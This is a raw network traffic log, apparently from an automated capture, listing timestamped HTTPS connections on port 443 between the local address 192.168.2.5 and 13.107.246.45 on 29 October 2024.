Oct 29, 2024 18:42:53.638879061 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.793461084 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.793967009 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.793991089 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.794435978 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.794444084 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.924040079 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.924205065 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.924352884 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.924401045 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.924421072 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.924439907 CET	49914	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.924446106 CET	443	49914	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.926954031 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.927083015 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.927175045 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.927362919 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.927391052 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.942472935 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.943070889 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.943121910 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:53.943562031 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:53.943582058 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.076703072 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.076772928 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.076953888 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.077121019 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.077145100 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.077162027 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.077168941 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.079751015 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.079796076 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.079889059 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.080321074 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.080338001 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.101881027 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.102371931 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.102389097 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.102819920 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.102823973 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.262845993 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.262918949 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.263185024 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.263402939 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.263421059 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.263433933 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.263439894 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.264230013 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.264878988 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.264944077 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.265582085 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.265602112 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.267246962 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.267286062 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.267353058 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.267474890 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.267487049 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.392174959 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.392621040 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.392632008 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.393141031 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.393146038 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.400810957 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.400983095 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.401048899 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.401179075 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.401197910 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.401236057 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.401242018 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.404033899 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.404074907 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.404143095 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.404303074 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.404315948 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.662380934 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.665333986 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.665364981 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.665807009 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.665812969 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.725594997 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.725682020 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.725800991 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.726008892 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.726026058 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.726067066 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.726073980 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.728748083 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.728786945 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.728874922 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.729001045 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.729011059 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.794599056 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.794871092 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.795006037 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.795099020 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.801939964 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.801995039 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.802027941 CET	49919	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.802046061 CET	443	49919	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.804589033 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.804624081 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.804804087 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.804987907 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.805002928 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.832247972 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.833280087 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.833297014 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.833796024 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.833801985 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.966353893 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.966428995 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.966511011 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.966780901 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.966794968 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.966867924 CET	49920	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.966873884 CET	443	49920	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.969810963 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.969851017 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:54.969933033 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.970083952 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:54.970096111 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.013665915 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.016324043 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.016345978 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.016864061 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.016870975 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.148354053 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.148381948 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.148432970 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.148535967 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.148565054 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.148850918 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.148866892 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.148879051 CET	49921	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.148885012 CET	443	49921	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.149703979 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.150108099 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.150130987 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.151146889 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.151151896 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.152873993 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.152909040 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.152993917 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.153151989 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.153167009 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.282346010 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.282526016 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.282586098 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.282672882 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.282685041 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.282694101 CET	49922	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.282700062 CET	443	49922	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.285948038 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.286005020 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.288949966 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.298592091 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.298619032 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.460637093 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.525132895 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.528687954 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.528700113 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.529117107 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.529122114 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.542033911 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.587626934 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.604545116 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.604551077 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.608637094 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.608640909 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.707066059 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.716458082 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.716484070 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.716522932 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.716592073 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.716617107 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.735138893 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.735379934 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.735502005 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.759514093 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.783212900 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.783227921 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.787139893 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.787147045 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.803217888 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.803240061 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.803275108 CET	49923	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.803282022 CET	443	49923	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.849102974 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.849132061 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.849142075 CET	49924	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.849147081 CET	443	49924	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.887557983 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.910846949 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.910882950 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.910973072 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.911590099 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.911700010 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.912030935 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.913225889 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.913233995 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.913656950 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.913661003 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.914082050 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.914091110 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.914093971 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.914129019 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.918848038 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.918931961 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.918999910 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.919018030 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.919029951 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.919076920 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.919282913 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.919297934 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.919308901 CET	49925	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.919317961 CET	443	49925	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.924679995 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.924691916 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:55.924746037 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.924911976 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:55.924926043 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.032493114 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.032962084 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.032972097 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.033407927 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.033411980 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.040314913 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.040373087 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.040484905 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.040791035 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.040802956 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.040821075 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.040824890 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.043476105 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.043538094 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.043626070 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.043790102 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.043809891 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.164066076 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.164118052 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.164251089 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.164277077 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.164314985 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.164551020 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.164562941 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.164591074 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.164597034 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.167371988 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.167397022 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.167470932 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.167634964 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.167649984 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.659341097 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.659967899 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.659986973 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.660672903 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.660677910 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.660872936 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.661150932 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.661189079 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.661478996 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.661492109 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.667378902 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.667619944 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.667634010 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.667960882 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.667965889 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.770189047 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.770876884 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.770900965 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.771534920 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.771547079 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.791991949 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.792062044 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.792146921 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.792169094 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.792412043 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.792421103 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.792438030 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.792468071 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.792475939 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.792509079 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795125961 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795219898 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795272112 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795294046 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795335054 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795362949 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795372963 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795394897 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795399904 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.795407057 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795584917 CET	49933	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.795597076 CET	443	49933	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.797441959 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.797461033 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.797569036 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.797713995 CET	49934	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.797724962 CET	443	49934	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.802845001 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.802869081 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.802901983 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.802922010 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.802968025 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.803122997 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.803127050 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.803137064 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.803139925 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.805242062 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.805252075 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.805347919 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.805500984 CET	49935	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.805511951 CET	443	49935	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.904803038 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.904831886 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.904871941 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.904925108 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.904973984 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.905286074 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.905311108 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.905365944 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.905380011 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.905678988 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.906150103 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.906164885 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.906605005 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.906610012 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.908150911 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.908195972 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:56.908308029 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.908441067 CET	49936	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:56.908468962 CET	443	49936	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.037906885 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.037992954 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.038069010 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:57.038258076 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:57.038264990 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.038275003 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:57.038280010 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:57.041126966 CET	49937	443	192.168.2.5	13.107.246.45
